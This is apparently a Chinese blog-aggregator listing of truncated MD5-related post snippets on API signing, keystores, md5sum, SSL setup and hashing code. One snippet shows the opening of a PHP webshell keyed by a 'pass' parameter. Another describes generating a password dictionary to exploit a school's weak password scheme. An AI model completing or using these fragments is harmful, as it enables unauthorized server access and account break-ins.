Java互联网安全项目架构平台设计。 现在一般项目,都是前后端分离开发。 前后端项目简单架构图如下: 1. 基于网关实现白名单和黑名单拦截(防止恶意请求)、ip限流。 2. api接口实现token授权验证。 3. 使用md5实现api接口验证签名,防止抓包篡改数据。 4. 实现api接口安全加密传 ...
分类:
编程语言 时间:
2020-06-26 14:19:27
阅读次数:
81
sublime插件 a.安装Package control 1. 直接用自带的选项功能来安装 tools--install packgage control 2. 爬虫脚本安装 import urllib.request,os,hashlib; h = '6f4c264a24d933ce70df5d ...
分类:
其他好文 时间:
2020-06-25 19:54:53
阅读次数:
94
先是shell脚本 <?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key ...
分类:
其他好文 时间:
2020-06-24 14:22:32
阅读次数:
76
[-]keystore操作运行时签名文件路径debug生成签名文件打包时使用获取MD5和SH1修改keystore文件密码修改keystore文件别名修改keystore文件别名的密码总结附录keystore操作1.运行时签名文件路径(debug)de>/home/xiaoq/.android/de ...
分类:
其他好文 时间:
2020-06-23 17:30:53
阅读次数:
48
md5sum命令用于生成和校验文件的md5值。它会逐位对文件的内容进行校验。是文件的内容,与文件名无关,也就是文件内容相同,其md5值相同。md5值是一个128位的二进制数据,转换成16进制则是32(128/4)位的进制值 ...
分类:
系统相关 时间:
2020-06-23 13:04:26
阅读次数:
57
一、场景介绍因域名需要使用https访问,决定申请阿里云免费SSL证书并使用nginx配置http强制跳转https。二、具体步骤1、登录阿里云账户,在首页搜索框中模糊搜索SSL,选择SSL证书2、点击购买证书选项3、点击免费型DV_SSL,购买5、填写证书申请信息6、下载nginx形式的证书nginx中进行配置1、下载并安装nginx2、nginx安装目录下新建cert文件夹,将下载的证书解压放
分类:
Web程序 时间:
2020-06-23 00:46:31
阅读次数:
146
最近在弄简历加分项,所以把以前写过的,都在往博客搬。难顶。 这个脚本,是我以前发现学校密码漏洞的时候,写的。 密码字典: 比如我这一级的密码,就是身份证后八位,下一级,下下一级,密码虽然有变化,但是也还是可以在这基础上改。 #生成0-10000000之间的所有数据集,字符串长度为8,用0填充 lis ...
分类:
其他好文 时间:
2020-06-22 20:51:30
阅读次数:
105
1.需求背景是什么?2.存储何种数据?3.数据特点是什么?4.存在哪些技术挑战?5.解决方案有哪些?6.md5散列桶的方法需要注意的问题?7.测试结果是什么?解决方案:1 需求背景该应用场景为DMP缓存存储需求,DMP需要管理非常多的第三方id数据,其中包括各媒体cookie与自身cookie(以下 ...
分类:
其他好文 时间:
2020-06-20 22:32:36
阅读次数:
158
1、MD5加密 using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Security.Cryptography; using System.Text; usi ...
第一种 MD5 1.引入相关的依赖 <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-spring</artifactId> <version>1.5.3</version> </dependency> 2.产生随机 ...
分类:
编程语言 时间:
2020-06-19 23:20:25
阅读次数:
61